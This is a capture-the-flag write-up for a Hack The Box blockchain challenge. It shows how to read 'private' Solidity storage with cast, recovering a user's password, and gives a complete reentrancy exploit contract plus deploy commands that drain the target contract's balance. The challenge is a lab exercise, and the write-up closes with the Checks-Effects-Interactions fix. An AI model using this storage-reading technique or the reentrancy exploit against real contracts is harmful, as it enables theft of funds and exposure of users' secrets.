HTB - Locked and Loaded (Blockchain)
đ§ Challenge Summary
We were given a smart contract Lockers.sol
where users can manage virtual items, each with a name, an owner, and a rarity level (Common, Rare, Epic, Mythic)
. Each rarity has a set price. Users register with a username and password. They can add items, view item details, delete items, change an item’s owner, or sell items. Selling an item automatically sends its value to the previous owner’s linked wallet. A password check secures all key actions. The challenge goal is to make the TARGET()
balances 0
and triggering isSolved()
in the Setup.sol
.
Vulnerability
đ Private Data Leakage via Storage Layout
Solidity’s storage is publicly accessible on-chain, even if variables are marked private. By understanding how the EVM stores different types of variables, we can read sensitive data directly from storage using tools like forge cast
This challenge exposed two key private structures:
mapping(string => string) // for usernames and passwords
mapping(string => address) private usernameToWallet; // for wallet
...
Item[] private items; // for items
Storage Layout
Mappings like:
mapping(string => string) private users; // stored at slot 0
Store the value at:
mappingSlotUsers = keccak256(abi.encodePacked(key, 0))
Where key
is the string key and mappingSlot
is the slot of the mapping.
If the string value stored is â„ 32 bytes, it doesn’t inline the value; instead, it stores the data at:
slot = keccak256(abi.encodePacked(key, mappingSlot))
Using forge cast:
# 1. Compute the slot
cast index string <key> <mappingSlot>
# 2. Read the value from the slot
cast storage <target> <slot> # For short strings
cast storage <target> $(cast keccak <slot>) # For long strings
But how if the mapping is a dynamic array of structs?
struct Item {
string name;
address owner;
uint8 rarity;
uint256 value;
}
mapping(uint256 => Item) public items; // stored at slot 1
To read the Item
struct, we can use the following approach:
# Get the length of the items array
cast storage <target> 1
# Compute the base
cast keccak 0x01
# Iterate through the item_length (i)
slot0 = base + i * 3 # name
slot1 = base + i * 3 + 1 # owner
slot2 = base + i * 3 + 2 # rarity
# Read the values
cast storage <target> <slotN>
đ Reentrancy Vulnerability
The sellItem function in the Lockers contract contains a critical reentrancy flaw:
(bool success,) = usernameToWallet[prevOwner].call{value: price[_item.rarity]}("");
require(success);
delete items[index];
This violates the Checks-Effects-Interactions pattern:
- Interaction happens first â it sends ETH to
usernameToWallet[prevOwner]
. - Effect (state mutation) happens after â it deletes the item from
items[index]
.
Because call is a low-level function that forwards all available gas, if the recipient is a contract with a receive()
or fallback()
function, it can re-enter sellItem()
before the item is deleted, allowing multiple withdrawals of the same item’s value.
Exploitation
So our goals is clear, find an item with rarity = Mythic
(value = 3), retrieve its owner, extract the owner’s password, then exploit the reentrancy vulnerability in sellItem.
-
Retrieve the Mythic Item
I’m using automated scripts to read the storage and find the Mythic item:
# Get the length of the items array itemsLengthHex=$(cast storage ${TARGET_ADDR} ${itemsSlot} --rpc-url ${RPC_URL}) itemsLength=$((itemsLengthHex)) echo "Items Length: ${itemsLength}" # Compute the base slot for items itemsSlot=$(printf "0x%064x" "3") baseSlot=$(cast keccak ${itemsSlot}) # Iterate through the items for ((i=0; i<itemsLength+1; i++)); do slot0Hex=$(python3 -c "print(hex(int('${baseSlot}', 16) + ${i} * 3))") slot1Hex=$(python3 -c "print(hex(int('${baseSlot}', 16) + ${i} * 3 + 1))") slot2Hex=$(python3 -c "print(hex(int('${baseSlot}', 16) + ${i} * 3 + 2))") echo "slot0Hex: ${slot0Hex}" echo "slot1Hex: ${slot1Hex}" echo "slot2Hex: ${slot2Hex}" # Read values name=$(cast storage ${TARGET_ADDR} ${slot0Hex} --rpc-url ${RPC_URL}) owner=$(cast storage ${TARGET_ADDR} ${slot1Hex} --rpc-url ${RPC_URL}) rarity=$(cast storage ${TARGET_ADDR} ${slot2Hex} --rpc-url ${RPC_URL}) echo "Item $i:" echo " name : $name" echo " owner : $owner" echo " rarity : $rarity" done
slot0Hex: 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f86d slot1Hex: 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f86e slot2Hex: 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f86f Item 6: name : 0x57697a617264735363657074657200000000000000000000000000000000001c owner : 0x62656c6965667370616365000000000000000000000000000000000000000016 rarity : 0x0000000000000000000000000000000000000000000000000000000000000003
And we found the Mythic item on index
6
with the nameWizardsScepter
, owned bybeliefspace
. -
Retrieve the Owner’s Password
Next, we need to retrieve the owner’s password. The password is stored in a mapping with the username as the key:
mapping(string => string) private users;
To find the password for
beliefspace
, we can use the same storage reading technique:# Compute the slot for the username username="beliefspace" usernameSlot=$(cast index string ${username} 0) # Read the password from the slot password=$(cast storage ${TARGET_ADDR} ${usernameSlot} --rpc-url ${RPC_URL}) # 0x0000000000000000000000000000000000000000000000000000000000000051
There’s no password here, instead we got a
0x51
which is the length of the password. So, the password is stored in a separate slot because it exceeds 32 bytes. We can compute the slot for the password as follows:# Compute the slot for the password passwordSlot=$(cast keccak ${usernameSlot} 0) # Read the password from the slot password=$(cast storage ${TARGET_ADDR} ${passwordSlot} --rpc-url ${RPC_URL}) # Next slot for the password password=$(cast storage ${TARGET_ADDR} ${passwordSlot+1} --rpc-url ${RPC_URL})
Now we have the full password for
beliefspace
:ss4#Nq7nNyKMfZ=XESnOzP2hk:SSRCzo2QPk4w~~
-
Exploit the Reentrancy Vulnerability
Now that we have the Mythic item and the owner’s password, we can exploit the reentrancy vulnerability in the
sellItem
function. We will create a malicious contract that will callsellItem
repeatedly before the item is deleted.// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Setup} from "./Setup.sol"; import {Lockers} from "./Lockers.sol"; contract Exploit { Setup public immutable s; Lockers public target; string targetPassword = "ss4#Nq7nNyKMfZ=XESnOzP2hk:SSRCzo2QPk4w~~"; string targetUsername = "beliefspace"; string targetItem = "WizardsScepter"; string myUsername = "dapa"; string myPassword = myUsername; constructor(Setup _s) { s = _s; target = _s.TARGET(); } function exploit() external { target.getLocker(myUsername, myPassword); target.transferItem(targetItem, myUsername, targetPassword); target.sellItem(targetItem, myPassword); assert(s.isSolved() == true); } receive() external payable { // REENTRANCY: Call sellItem again // This will re-enter the sellItem function before the item is deleted if (address(target).balance > 0) { target.sellItem(targetItem, myPassword); } } }
-
Deploy and Execute the Exploit
To deploy and execute the exploit, we can use a script like this:
forge create src/Exploit.sol:Exploit \ --broadcast \ --rpc-url ${RPC_URL} \ --private-key ${PRIVATE_KEY} \ --constructor-args ${SETUP_ADDR} \
After deploying the exploit contract, we can call the
exploit()
function to trigger the reentrancy attack and empty theTARGET()
balance.cast send -r ${RPC_URL} --private-key ${PRIVATE_KEY} ${EXPLOIT_ADDR} "exploit()"
Conclusion
By leveraging the private data leakage and the reentrancy vulnerability, we successfully drained the TARGET()
balance and triggered the isSolved()
function in the Setup.sol
. This challenge highlights the importance of understanding Solidity’s storage layout and the potential risks of reentrancy vulnerabilities in smart contracts. Always ensure to follow best practices like the Checks-Effects-Interactions pattern to mitigate such risks.